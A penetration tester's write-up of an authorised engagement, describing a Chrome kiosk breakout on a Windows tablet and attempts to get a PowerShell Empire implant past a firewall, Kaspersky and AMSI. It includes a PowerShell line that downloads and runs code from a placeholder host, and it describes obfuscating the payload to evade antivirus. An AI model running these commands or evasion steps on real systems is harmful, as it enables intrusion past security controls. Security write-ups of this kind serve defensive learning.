During a recent engagement, I was given a windows tablet with no (pentest) tools installed and was asked to test its security and test how far I could go by compromising it. I had my own laptop but I was not allowed to directly connect to the internal network with it. However, I could use it as a C2 if I were to successfully compromise the tablet. Long story short, obtaining the initial shell was more difficult than owning the network due to the antivirus(es) that were required to bypass.Setup Fully patched Windows 10 running on the tablet Up-to-date Kaspersky Endpoint Security 11 (KES11) on the tablet Google Chrome running a kiosk/PoS mode on the tablet Powershell Empire listener on the C2 Enumeration
So, I’m in Chrome’s kiosk/PoS mode on the tablet andevery Windows shortcut is blocked such as WIN+R, ALT+TAB, CTRL+P, ALT+SPACE, etc. More on that here: Kiosk/POS Breakout Keys in Windows
However, the CTRL+N shortcut to open a new page was not blocked, bingo! We got a new page and Internet access, awesome. I went to the URL bar and quickly used the file:// scheme to download and open cmd.exe :
Instead of rushing straight into the terminal that just popped, I tried to open the Windows Explorer to have GUI access to files and shares by clicking Open file location on the downloaded file. Aaaaand, the action was denied, probably by a GPO.
Back to the terminal:I enumerated the files and shares and found nothing interesting. Ran wmic product get name, version to enumerate the installed softwares and associated versions. Ran wmic qfe get to list the hotfixes. Ran net user my_user /domain (yes, my_user was domain-joined to simulate an internal attack) Ran whoami /priv to list my privileges.
Got nothing very interesting exploit-wise that would give me a quick win. I was a domain-joined user with no administrative privileges and had many restrictive GPOs applied to the groups I belonged to. AV wise, Kaspersky Endpoint Security version 22.214.171.12499 was installed and so did Windows Defender.Fail, fail, fail and succeed
One of my goals was to prove I could bypass the AV by injecting an Empire implant and moving on from there. As this test was not a red team and was time-constrained, I did not replicate the tablet’s environment to perform my tests. So, I started by downloading the Empire Powershell launcher through an encrypted channel with Powershell’s Invoke-Expression: IEX (New-Object Net.Webclient).downloadstring("https://EVIL/hello_there") and that would get detected, not by the AV, but by the firewall that was presumably performing SSL inspection! So, I needed a payload that could atleast get through the firewall before getting executed in memory. To spare you some time, I spent a full day failing over and over, getting either detected by the firewall or the AV, making the sysadmins very happy but also tired of getting alerts.Compression and memory patching make a good pair
I knew Windows Defender was installed on the tablet and was leaving KES11 take control of most of the anti malware scanning. However, I learned the hard way that KES11 was making use of AMSI’s detection of script-based attacks. In fact, on their website, they mention the use of the AMSI technology, but only on the Kaspersky Security for Windows Server page:
Support for AMSI interfaces. Use of AMSI technology, which is integrated in Microsoft Windows, has enabled the improvement of the mechanism for intercepting script launches on the server. The stability of the Script Monitoring task is improved, the application’s influence on the environment is reduced when intercepting scripts and blocking them if threats are detected, and the task scope is significantly expanded now the Script Monitoring component works not only with scripts in JS and VBS files, but also PS1 files. The functionality is available when the Script Monitoring component is installed on servers running Microsoft Windows Server 2016 or newer.
A colleague of mine recently shared an excellent blog post on how to bypass/disable the Anti Malware Scan Interface (AMSI) without elevated privileges by patching it in memory with a DLL : Bypass AMSI and Execute ANY malicious powershell code
With that in mind, we first need to bypass traffic inspection, remember? Invoke-Obfuscation comes to rescue. Compressing the Empire payload a few times was enough to get around it.
First, we grab the base64 part of our launcher.bat file generated by Empire, decode it and send it over to Invoke-Obfuscation . To do so, we run set SCRIPTBLOCK our_empire_base64decoded_payload :
Next, we run COMPRESS\1 a couple of times to compress our payload:
I then successfully downloaded the file to load it in memory with IEX. But now that the traffic inspection was bypassed, the AV was blocking the execution of the payload (no surprise).
What I learned during this gig was that KES11’s heuristics or signatured-based detections were first firing on my payload before AMSI even had a chance to inspect the script. I had to compress the payload exactly 4 times before it could bypass the AV and then get detected by AMSI: